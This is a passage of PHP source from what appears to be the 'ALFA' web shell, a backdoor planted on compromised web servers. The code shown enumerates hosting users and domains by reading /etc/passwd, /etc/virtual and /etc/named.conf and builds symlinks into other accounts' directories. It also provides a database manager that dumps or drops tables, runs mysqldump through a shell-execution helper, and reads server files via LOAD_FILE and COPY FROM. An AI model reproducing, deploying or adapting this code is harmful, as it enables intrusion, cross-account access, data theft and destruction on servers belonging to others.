style=\"color:#00A220;margin-left:10px;\"><b>{url}<\/b> <\/a><\/span><\/td><td style=\"text-align:left;\"><span style=\"color:#FFFFFF;margin-left:10px;\"><b>{user}<\/font><\/b><\/td><td><a href=\"'.__ALFA_DATA_FOLDER__.'\/alfasymlink\/root{cwd}\" target=\"_blank\"><span style=\"color:#FF0000;\">Symlink<\/span><\/a><\/td><\/tr>';\r\nif($sole){\r\n\tforeach($sole as $visible){\r\n\t\tif(@strstr($visible,\":\")){\r\n\t\t\t$solevisible = explode(':', $visible);\r\n\t\t\t$cwd = str_replace(\"{user}\", trim($solevisible[1]), $makepwd);\r\n\t\t\techo str_replace(array(\"{count}\",\"{user}\",\"{url}\",\"{cwd}\"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);\r\n\t\t}\r\n\t}\r\n}else{\r\n\t$passwd = _alfa_file(\"\/etc\/passwd\");\r\n\tif($passwd){\r\n\t\t$html = \"\";\r\n\t\t$is_named = false;\r\n\t\t$users = array();\r\n\t\t$domains = array();\r\n\t\t$uknowns = array();\r\n\t\tforeach($passwd as $user){\r\n\t\t\t$user = trim($user);\r\n\t\t\t$expl = explode(\":\", $user);\r\n\t\t\tif((int)$expl[2] < 500)continue;\r\n\t\t\t$users[$expl[0]] = $expl[5];\r\n\t\t}\r\n\t\t$site_domains = @scandir(\"\/etc\/virtual\/\");\r\n\t\tif(!$site_domains){\r\n\t\t\t$site_domains = alfaEx(\"ls \/etc\/virtual\/\");\r\n\t\t\t$site_domains = explode(\"\\n\", $site_domains);\r\n\t\t\tif(!$site_domains){\r\n\t\t\t\t$site_domains = _alfa_file(\"\/etc\/named.conf\");\r\n\t\t\t\tif($site_domains){$is_named = true;}\r\n\t\t\t}\r\n\t\t}\r\n\t\tforeach($site_domains as $line){\r\n\t\t\tif($is_named){\r\n\t\t\t\tif(@strstr($line, 'zone')){\r\n\t\t\t\t\tpreg_match_all('#zone \"(.*)\"#',$line, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t\tif(strlen($domain > 2) && !empty($domain)){\r\n\t\t\t\t\t\t$domains[] = $domain;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$domains[] = $line;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$x = 1;\r\n\t\tforeach($users as $user => $home){\r\n\t\t\tforeach($domains as $domain){\r\n\t\t\t\t$user_len = strlen($user) - 1;\r\n\t\t\t\t$sub_domain = str_replace(array(\"-\",\".\"), \"\", $domain);\r\n\t\t\t\t$five_user = substr($user, 0,$user_len);\r\n\t\t\t\t$five_domain = substr($sub_domain, 0,$user_len);\r\n\t\t\t\tif($five_user == $five_domain){\r\n\t\t\t\t\tif($is_direct){\r\n\t\t\t\t\t\t$cwd = str_replace(\"{user}\", $user, $makepwd);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$expl = explode(\"}\/\", $makepwd);\r\n\t\t\t\t\t\t$cwd = $home.\"\/\".$expl[1];\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$html .= str_replace(array(\"{count}\",\"{user}\",\"{url}\", \"{cwd}\"), array($x++, $user, $domain, $cwd), $template);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$uknowns[$user] = $home;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$uknowns = array_unique($uknowns);\r\n\t\tforeach($uknowns as $user => $home){\r\n\t\t\tif($is_direct){\r\n\t\t\t\t$cwd = str_replace(\"{user}\", $user, $makepwd);\r\n\t\t\t}else{\r\n\t\t\t\t$expl = explode(\"}\/\", $makepwd);\r\n\t\t\t\t$cwd = $home.\"\/\".$expl[1];\r\n\t\t\t}\r\n\t\t\t$html .= str_replace(array(\"{count}\",\"{user}\",\"{url}\", \"{cwd}\"), array($x++, $user, \"[?????]\", $cwd), $template);\r\n\t\t}\r\n\t\techo($html);\r\n\t}\r\n}\r\necho \"<\/table>\";\r\n$cant_symlink = false;\r\n}\r\n}else{\r\n\techo \"<pre class=ml1 style='margin-top:5px'><b><font color=\\\"#FFFFFF\\\">[+] Symlink Function Disabled !<\/b><\/font><\/pre><\/center>\";\r\n\t$cant_symlink = false;\r\n}\r\nif($cant_symlink)echo '<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><font color=\"#FFFFFF\">Error...<\/font><\/b><br>';\r\necho \"<\/center><\/table>\";\r\n}\r\necho \"<\/div>\";\r\nalfafooter();\r\n}\r\nfunction alfasql(){\r\nclass DbClass{\r\npublic $type;\r\npublic $link;\r\npublic $res;\r\npublic $mysqli_connect_error = false;\r\npublic $mysqli_connect_error_msg = \"\";\r\nfunction __construct($type){\r\n$this->type = $type;\r\n}\r\nfunction connect($host, $user, $pass, $dbname){\r\nswitch($this->type){\r\ncase 'mysql':\r\nif($this->link = @mysqli_connect($host,$user,$pass,$dbname)){\r\n\treturn true;\r\n}else{\r\n\t$this->mysqli_connect_error = true;\r\n\t$this->mysqli_connect_error_msg = mysqli_connect_error();\r\n\treturn false;\r\n}\r\nbreak;\r\ncase 'pgsql':\r\n$host = explode(':', $host);\r\nif(!$host[1]) $host[1]=5432;\r\nif( $this->link = @pg_connect(\"host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname\") ) return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction selectdb($db){\r\nswitch($this->type){\r\ncase 'mysql':\r\nif(@mysqli_select_db($db))return true;\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction query($str){\r\nswitch($this->type){\r\ncase 'mysql':\r\nreturn $this->res = @mysqli_query($this->link,$str);\r\nbreak;\r\ncase 'pgsql':\r\nreturn $this->res = @pg_query($this->link,$str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction fetch(){\r\n$res = func_num_args()?func_get_arg(0):$this->res;\r\nswitch($this->type){\r\ncase 'mysql':\r\nreturn @mysqli_fetch_assoc($res);\r\nbreak;\r\ncase 'pgsql':\r\nreturn @pg_fetch_assoc($res);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listDbs(){\r\nswitch($this->type){\r\ncase 'mysql':\r\nreturn $this->query(\"SHOW databases\");\r\nbreak;\r\ncase 'pgsql':\r\nreturn $this->res = $this->query(\"SELECT datname FROM pg_database WHERE datistemplate!='t'\");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction listTables(){\r\nswitch($this->type){\r\ncase 'mysql':\r\nreturn $this->res = $this->query('SHOW TABLES');\r\nbreak;\r\ncase 'pgsql':\r\nreturn $this->res = $this->query(\"select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'\");\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction error(){\r\nswitch($this->type){\r\ncase 'mysql':\r\nreturn @mysqli_error($this->link);\r\nbreak;\r\ncase 'pgsql':\r\nreturn @pg_last_error();\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction setCharset($str){\r\nswitch($this->type){\r\ncase 'mysql':\r\nif(function_exists('mysql_set_charset'))\r\nreturn @mysqli_set_charset($this->link,$str);\r\nelse\r\n$this->query('SET CHARSET '.$str);\r\nbreak;\r\ncase 'pgsql':\r\nreturn @pg_set_client_encoding($this->link, $str);\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\nfunction loadFile($str){\r\nswitch($this->type){\r\ncase 'mysql':\r\nreturn $this->fetch($this->query(\"SELECT LOAD_FILE('\".addslashes($str).\"') as file\"));\r\nbreak;\r\ncase 'pgsql':\r\n$this->query(\"CREATE TABLE solevisible(file text);COPY solevisible FROM '\".addslashes($str).\"';select file from solevisible;\");\r\n$r=array();\r\nwhile($i=$this->fetch())\r\n$r[] = $i['file'];\r\n$this->query('drop table solevisible');\r\nreturn array('file'=>implode(\"\\n\",$r));\r\nbreak;\r\n}\r\nreturn false;\r\n}\r\n};\r\n$db = new DbClass($_POST['type']);\r\nalfahead();\r\n$form_visibility = \"table\";\r\nif(isset($_POST['sql_host'])){\r\n\t$connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);\r\n\tif($connection_db && !empty($_POST['sql_base'])){\r\n\t\t$form_visibility = \"none\";\r\n\t}\r\n}\r\n$database_list = array();\r\necho \"\r\n<div class='header' style='min-height:300px;'>\".($form_visibility!=\"none\"?\"<center><div class='txtfont_header'>| Sql Manager |<\/div><p>\".getConfigHtml('all').\"<\/p><\/center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History<\/button><div class='connection_history_holder'><\/div><\/div>\":\"\").\"\r\n<div class='sf' class='db-opt-id'><table style='margin: 0 auto;\".($form_visibility==\"none\"?\"display:none;\":\"\").\"' cellpadding='2' cellspacing='0'><tr>\r\n<td><div class=\\\"txtfont\\\">TYPE<\/div><\/td><td><div class=\\\"txtfont\\\">HOST<\/div><\/td><td><div class=\\\"txtfont\\\">DB USER<\/div><\/td><td><div class=\\\"txtfont\\\">DB PASS<\/div><\/td><td><div class=\\\"txtfont\\\">DB NAME<\/div><\/td><td><\/td><\/tr><tr>\r\n<td><select name='type'><option value='mysql' selected>mysql<\/option><\/select><\/td>\r\n<td><input type='text' name='sql_host' id='db_host' value='\". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) .\"'><\/td>\r\n<td><input type='text' name='sql_login' id='db_user' value='\". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) .\"'><\/td>\r\n<td><input type='text' name='sql_pass' id='db_pw' value='\". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) .\"'><\/td><td>\";\r\n$tmp = \"<input type='text' name='sql_base' id='db_name' value='\". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) .\"'>\";\r\nif(isset($_POST['sql_host'])){\r\nif($connection_db){\r\n$db->setCharset('utf8');\r\n$db->listDbs();\r\necho \"<select name=sql_base><option value=''><\/option>\";\r\nwhile($item = $db->fetch()) {\r\nlist($key, $value) = each($item);\r\n$database_list[] = $value;\r\necho '<option value=\"'.$value.'\" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'<\/option>';\r\n}\r\necho '<\/select>';\r\n}else{\r\n\techo $tmp;\r\n}\r\n}else\r\necho $tmp;\r\n$curr_mysql_id = $_POST['current_mysql_id'];\r\necho \"<\/td>\r\n<td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect<\/button><\/td>\r\n<td><input type='checkbox' name='sql_count' value='on'\" . (empty($_POST['sql_count'])?'':' checked') . \"> <div class=\\\"txtfont\\\">count the number of rows<\/div><\/td>\r\n<\/tr>\r\n<\/table>\";\r\nif($db->mysqli_connect_error){\r\n\techo '<div style=\"text-align: center;font-size: 17px;margin-top: 18px;\">'.$db->mysqli_connect_error_msg.'<\/div>';\r\n}\r\nif(!empty($curr_mysql_id)){\r\n\t$sql_title_db = \"\";\r\n\tif(!empty($_POST['sql_base'])){\r\n\t\t$sql_title_db = \"d.querySelector('#tab_\".$curr_mysql_id.\" span').innerHTML='\".addslashes($_POST['sql_base']).\"';\";\r\n\t}\r\n\techo \"<script>mysql_cache['\".$curr_mysql_id.\"']['host']='\".addslashes($_POST['sql_host']).\"';mysql_cache['\".$curr_mysql_id.\"']['user']='\".addslashes($_POST['sql_login']).\"';mysql_cache['\".$curr_mysql_id.\"']['pass']='\".addslashes($_POST['sql_pass']).\"';mysql_cache['\".$curr_mysql_id.\"']['db']='\".addslashes($_POST['sql_base']).\"';mysql_cache['\".$curr_mysql_id.\"']['charset']='\".addslashes($_POST['charset']).\"';mysql_cache['\".$curr_mysql_id.\"']['type']='\".addslashes($_POST['type']).\"';mysql_cache['\".$curr_mysql_id.\"']['count']='\".addslashes($_POST['sql_count']).\"';\".$sql_title_db.\"alfaConnectionHistoryUpdate();<\/script>\";\r\n}\r\nif(isset($db) && $db->link){\r\nif(!empty($_POST['sql_base'])){\r\necho \"<div class='mysql-main'><div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'><<<\/div><div class='mysql-tables'><div><input placeholder=\\\"Filter Table\\\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'><button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search<\/button><\/div><div class='block'><a sql_count='\".(empty($_POST['sql_count'])?\"false\":\"true\").\"' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'><img src='http:\/\/solevisible.com\/icons\/menu\/b_plus.png' title='Expand\/Collapse All DataBases' alt='Expand\/Collapse All DataBases'><\/a><\/div><ul style='margin-top: 28px;'>\";\r\nforeach ($database_list as $db_name) {\r\n\techo '<li><div class=\"block\"><i><\/i><b><\/b><a sql_count=\"'.(empty($_POST['sql_count'])?\"false\":\"true\").'\" db_target=\"'.$db_name.'\" onclick=\"alfaMysqlExpander(this);\" class=\"expander cls-'.$db_name.'-expander db-opt-id\" href=\"javascript:void(0);\"><img src=\"http:\/\/solevisible.com\/icons\/menu\/'.($db_name == $_POST['sql_base']?\"b_minus.png\":\"b_plus.png\").'\" title=\"Expand\/Collapse\" alt=\"Expand\/Collapse\"><\/a><\/div><span class=\"db_name\">'.$db_name.'<\/span><div class=\"clearfloat\"><\/div><div db_name=\"'.$db_name.'\" mode=\"'.($db_name == $_POST['sql_base']?\"loaded\":\"no\").'\" class=\"list_container cls-'.$db_name.'\"><div>';\r\n\tif($db_name == $_POST['sql_base']){\r\n\t\t$db->selectdb($_POST['sql_base']);\r\n\t\t$tbls_res = $db->listTables();\r\n\t\techo '<ul><li><div class=\"block\"><i><\/i><b><\/b><\/div><div><input style=\"padding: 0;margin-left: 11px;text-align:center;\" type=\"text\" class=\"db-opt-id\" target=\".cls-'.$db_name.'\" placeholder=\"Filter Table\" onkeyup=\"alfaMysqlFilterTable(this);\" name=\"filter\"><\/div><\/li>';\r\n\t\twhile($item = $db->fetch($tbls_res)){\r\n\t\tlist($key, $value) = each($item);\r\n\t\tif(!empty($_POST['sql_count']))\r\n\t\t$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));\r\n\t\t$value = htmlspecialchars($value);\r\n\t\techo \"<li><div class='block'><i><\/i><b><\/b><\/div><div class='tables-row'><input type='checkbox' name='tbl[]' value='\".$value.\"'> <a class='db-opt-id' db_target='\".$db_name.\"' href='javascript:void(0);' onclick=\\\"alfaLoadTableData(this,'\".$value.\"')\\\"><span class='mysql_tables' style='font-weight:unset;'>\".$value.\"<\/span><\/a>\" . (empty($_POST['sql_count'])?' ':\" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})<\/span><\/small>\") . \"<\/div><\/li>\";\r\n\t\t}\r\n\t\techo '<\/ul><div style=\"margin-left: 26px;margin-bottom: 10px;margin-top: 10px;\"><input onchange=\"alfaMysqlTablesEvil(this);\" class=\"db-opt-id\" target=\".cls-'.$db_name.'\" type=\"checkbox\" class=\"db-opt-id\"><select onchange=\"alfaMysqlTablesDumpDrop(this);\" class=\"db-opt-id\" target=\".cls-'.$db_name.'\" class=\"db-opt-id\" name=\"tables_evil\" style=\"padding: 0;width: 100px;\"><option selected>drop<\/option><option>dump<\/option><\/select> <button onclick=\"alfaMysqlTablesDumpDropBtn(this);return false;\" class=\"db-opt-id\" db_target=\"'.$db_name.'\" target=\".cls-'.$db_name.'\" class=\"db-opt-id\">Do it<\/button><div class=\"dump-file-holder\" style=\"display:none;margin-left:20px;margin-top: 5px;\"><input style=\"padding: 0;text-align:center;\" type=\"text\" placeholder=\"dump.sql\" name=\"dump_file\"><\/div><\/div>';\r\n\t}\r\n\techo \"<\/div><\/li>\";\r\n}\r\necho \"<\/ul><\/div><div class='mysql-query-results'><div class='mysql-query-result-tabs'><div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result<\/div><div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query<\/div><div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search<\/div><div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure<\/div><div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert<\/div><div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit<\/div><\/div><div class='mysql-query-content mysql-insert-row mysql-hide-content'><\/div><div class='mysql-query-content mysql-edit-row mysql-hide-content'><\/div><div class='mysql-query-content mysql-search-area mysql-hide-content'><\/div><div class='mysql-query-content mysql-structure mysql-hide-content'><\/div><div class='mysql-query-content mysql-query-form mysql-hide-content'><div style='margin-bottom: 5px;'><span>Query:<\/span><\/div><textarea name='query' style='width:90%;height:100px'><\/textarea><p><div style='float:left;margin-left: 30px;'><input class='button db-opt-id' db_target='\".$_POST['sql_base'].\"' onclick='alfaMysqlQuery(this);return false;' type='submit' value=' '><\/div><\/p><\/div><div class='mysql-query-content mysql-query-result-content'><div class='mysql-query-result-header'><div style='margin-bottom: 10px;' class='mysql-query-reporter'><\/div><div class='mysql-query-pager'><\/div><\/div><div class='mysql-query-table'><\/div><\/div><\/form><\/td><\/tr>\";\r\n}\r\necho \"<\/table><\/div>\";\r\necho \"<\/div>\";\r\n}else{\r\necho htmlspecialchars($db->error());\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfaSql_manager_api(){\r\n\t$db = $_POST[\"alfa1\"];\r\n\t$type = $_POST[\"alfa2\"];\r\n\t$sql_count = $_POST[\"alfa3\"] == \"true\" ? true : false;\r\n\t$db = @json_decode($db, true);\r\n\t$conn = @mysqli_connect($db[\"host\"], $db[\"user\"], $db[\"pass\"], $db[\"db\"]);\r\n\t@mysqli_set_charset($conn, \"utf8\");\r\n\tif($conn){\r\n\t\tif($type == \"load_all_tables\"){\r\n\t\t\t$tables = array();\r\n\t\t\t$q_tables = @mysqli_query($conn, \"SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('\".implode(\"','\", $db[\"databases\"]).\"');\");\r\n\t\t\t$count = 0;\r\n\t\t\twhile($row = @mysqli_fetch_assoc($q_tables)){\r\n\t\t\t\tif($sql_count){\r\n\t\t\t\t\t$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[\"table_schema\"].'`.`'.$row[\"table_name\"].'`');\r\n\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tables[$row[\"table_schema\"]][] = array(\"name\" => $row[\"table_name\"], \"count\" => (int)$count);\r\n\t\t\t}\r\n\t\t\tforeach($db[\"databases\"] as $db){\r\n\t\t\t\tif(!isset($tables[$db])){\r\n\t\t\t\t\t$tables[$db] = null;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo @json_encode($tables);\r\n\t\t}elseif($type == \"dump_drop\"){\r\n\t\t\tif($db[\"mode\"] == \"drop\"){\r\n\t\t\t\tforeach ($db[\"tables\"] as $table) {\r\n\t\t\t\t\t@mysqli_query($conn, \"DROP TABLE `\".$table.\"`;\");\r\n\t\t\t\t}\r\n\t\t\t\t$tables = array();\r\n\t\t\t\t$q_tables = @mysqli_query($conn, \"SHOW TABLES;\");\r\n\t\t\t\t$count = 0;\r\n\t\t\t\twhile($row = @mysqli_fetch_array($q_tables)){\r\n\t\t\t\t\tif($sql_count){\r\n\t\t\t\t\t\t$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');\r\n\t\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$tables[] = array(\"name\" => $row[0], \"count\" => (int)$count);\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode($tables);\r\n\t\t\t}else{\r\n\t\t\t\tif(strlen(alfaEx(\"mysqldump\"))>0){\r\n\t\t\t\t\talfaEx(\"mysqldump --single-transaction --host=\\\"\".$db[\"host\"].\"\\\" --user=\\\"\".$db[\"user\"].\"\\\" --password=\\\"\".$db[\"pass\"].\"\\\" \".$db[\"db\"].\" \".implode(\" \", $db[\"tables\"]).\" > \".$db[\"dump_file\"]);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$fp = @fopen($db[\"dump_file\"], \"w\");\r\n\t\t\t\t\tforeach ($db[\"tables\"] as $table) {\r\n\t\t\t\t\t\t$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');\r\n\t\t\t\t\t\t$create = @mysqli_fetch_array($res);\r\n\t\t\t\t\t\t$sql = \"DROP TABLE IF EXISTS `\".$table.\"`;\\n\" . $create[1].\";\\n\";\r\n\t\t\t\t\t\tif($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t\t$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');\r\n\t\t\t\t\t\t$head = true;\r\n\t\t\t\t\t\twhile($item = @mysqli_fetch_assoc($tbl_data)){\r\n\t\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\t\tforeach($item as $k=>$v) {\r\n\t\t\t\t\t\t\tif($v == null)\r\n\t\t\t\t\t\t\t$item[$k] = \"''\";\r\n\t\t\t\t\t\t\telseif(is_numeric($v))\r\n\t\t\t\t\t\t\t$item[$k] = $v;\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t$item[$k] = \"'\".@mysqli_real_escape_string($conn, $v).\"'\";\r\n\t\t\t\t\t\t\t$columns[] = \"`\".$k.\"`\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif($head) {\r\n\t\t\t\t\t\t\t$sql = 'INSERT INTO `'.$table.'` ('.implode(\", \", $columns).\") VALUES \\n\\t(\".implode(\", \", $item).')';\r\n\t\t\t\t\t\t\t$head = false;\r\n\t\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\t$sql = \"\\n\\t,(\".implode(\", \", $item).')';\r\n\t\t\t\t\t\t\tif($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif(!$head)\r\n\t\t\t\t\t\t\tif($fp) fwrite($fp, \";\\n\\n\"); else echo(\";\\n\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode(array(\"status\" => true, \"file\" => $db[\"dump_file\"]));\r\n\t\t\t}\r\n\t\t}elseif($type == \"load_tables\"){\r\n\t\t\t$tables = array();\r\n\t\t\t$q_tables = @mysqli_query($conn, \"SHOW TABLES;\");\r\n\t\t\t$count = 0;\r\n\t\t\twhile($row = @mysqli_fetch_array($q_tables)){\r\n\t\t\t\tif($sql_count){\r\n\t\t\t\t\t$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row[0].'`');\r\n\t\t\t\t\tif($count_q){\r\n\t\t\t\t\t\t$count = @mysqli_fetch_row($count_q);\r\n\t\t\t\t\t\t$count = $count[0];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tables[] = array(\"name\" => $row[0], \"count\" => (int)$count);\r\n\t\t\t}\r\n\t\t\techo @json_encode($tables);\r\n\t\t}elseif($type == \"alter\"){\r\n\t\t\t$db[\"alter\"][\"type\"] = strtolower($db[\"alter\"][\"type\"]);\r\n\t\t\t$inputs = $db[\"alter\"][\"type\"].\"(\".$db[\"alter\"][\"input\"].\")\";\r\n\t\t\t$text_input = array(\"longtext\", \"text\", \"mediumtext\", \"tinytext\");\r\n\t\t\tif(in_array($db[\"alter\"][\"type\"], $text_input)){\r\n\t\t\t\t$inputs = $db[\"alter\"][\"type\"];\r\n\t\t\t}\r\n\t\t\t@mysqli_query($conn, \"ALTER TABLE `\".$db[\"table\"].\"` MODIFY COLUMN `\".$db[\"column\"].\"` \" . $inputs);\r\n\t\t\t$error = @mysqli_error($conn);\r\n\t\t\tif($error){\r\n\t\t\t\techo $error;\r\n\t\t\t}else{\r\n\t\t\t\techo \"ok\";\r\n\t\t\t}\r\n\t\t}elseif($type == \"edit\" || $type == \"delete\" || $type == \"delete_all\"){\r\n\t\t\tif($type == \"edit\"){\r\n\t\t\t\t$q = @mysqli_query($conn, \"SELECT * FROM `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"` WHERE `\".$db[\"col_key\"].\"` = '\".addslashes($db[\"key\"]).\"' LIMIT 0,1\");\r\n\t\t\t\t$row = @mysqli_fetch_assoc($q);\r\n\t\t\t\tif($row){\r\n\t\t\t\t\t$columns_query = @mysqli_query($conn, \"SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '\".$db[\"db\"].\"' AND `TABLE_NAME` = '\".$db[\"table\"].\"'\");\r\n\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t$edit_data = array();\r\n\t\t\t\t\twhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t\t\t\t$input = array(\"col_type\" => $row2[\"COLUMN_TYPE\"]);\r\n\t\t\t\t\t\t$row2[\"type\"] = strtolower($row2[\"type\"]);\r\n\t\t\t\t\t\tswitch($row2[\"type\"]){\r\n\t\t\t\t\t\t\tcase \"longtext\": case \"text\": case \"mediumtext\": case \"tinytext\":\r\n\t\t\t\t\t\t\t\t$input[\"tag\"] = \"textarea\";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tcase \"int\": case \"smallint\": case \"bigint\": case \"tinyint\": case \"mediumint\":\r\n\t\t\t\t\t\t\t\t$input[\"tag\"] = \"input\";\r\n\t\t\t\t\t\t\t\t$input[\"type\"] = \"number\";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t$input[\"tag\"] = \"input\";\r\n\t\t\t\t\t\t\t\t$input[\"type\"] = \"text\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$columns[$row2[\"name\"]] = $input;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($row as $key => $v){\r\n\t\t\t\t\t\t$edit_data[] = array(\"col\" => $key, \"value\" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), \"type\" => $columns[$key]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\techo @json_encode($edit_data);\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\tif($type == \"delete_all\"){\r\n\t\t\t\t\t$rows = implode(\"', '\", $db[\"rows\"]);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$rows = addslashes($db[\"key\"]);\r\n\t\t\t\t}\r\n\t\t\t\t$query = \"DELETE FROM `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"` WHERE `\".$db[\"col_key\"].\"` IN ('\".$rows.\"')\";\r\n\t\t\t\t@mysqli_query($conn, $query);\r\n\t\t\t\t$error = @mysqli_error($conn);\r\n\t\t\t\tif($error){\r\n\t\t\t\t \t$status = false;\r\n\t\t\t\t}else{\r\n\t\t\t\t \t$status = true;\r\n\t\t\t\t}\r\n\t\t\t\techo @json_encode(array(\"status\" => $status, \"error\" => $error, \"query\" => $query));\r\n\t\t\t}\r\n\t\t}elseif($type == \"update\"){\r\n\t\t\t$query = \"UPDATE `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"` SET \";\r\n\t\t\tforeach($db[\"data\"] as $col => $val){\r\n\t\t\t\t$query .= \"`\".$col.\"` = '\".mysqli_real_escape_string($conn, $val).\"',\";\r\n\t\t\t}\r\n\t\t\t$query = substr($query, 0, -1);\r\n\t\t $query .= \"WHERE `\".$db[\"col_key\"].\"` = '\".$db[\"key\"].\"'\";\r\n\t\t\t$res = @mysqli_query($conn, $query);\r\n\t\t\techo @json_encode(array(\"status\" => $res, \"error\" => @mysqli_error($conn)));\r\n\t\t}elseif($type == \"insert\"){\r\n\t\t\t$query = \"INSERT INTO `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"` \";\r\n\t\t\tforeach($db[\"data\"] as $col => $val){\r\n\t\t\t\t$cols .= $col . \",\";\r\n\t\t\t\t$vals .= \"'\".mysqli_real_escape_string($conn, $val).\"',\";\r\n\t\t\t}\r\n\t\t\t$cols = substr($cols, 0, -1);\r\n\t\t\t$vals = substr($vals, 0, -1);\r\n\t\t\t$query = $query . \"(\" . $cols . \")\" . \"VALUES(\" . $vals . \")\";\r\n\t\t\t$res = @mysqli_query($conn, $query);\r\n\t\t\techo @json_encode(array(\"status\" => $res, \"error\" => @mysqli_error($conn)));\r\n\t\t}else{\r\n\t\t\t$pages = 0;\r\n\t\t\t$title = false;\r\n\t\t\t$query = \"\";\r\n\t\t\t$tbl_content = '<table width=\"100%\" cellspacing=\"1\" cellpadding=\"2\" class=\"main mysql-data-tbl\" style=\"background-color:#292929\">';\r\n\t\t\t$line = 0;\r\n\t\t\t$tables = array();\r\n\t\t\t$columns = array();\r\n\t\t\tif($type == \"load_data\"){\r\n\t\t\t\t$query = \"SELECT * FROM `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"` LIMIT 0,30\";\r\n\t\t\t\t$tbl_count_q = @mysqli_query($conn, \"SELECT COUNT(*) FROM `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"`\");\r\n\t\t\t\t$tbl_count = 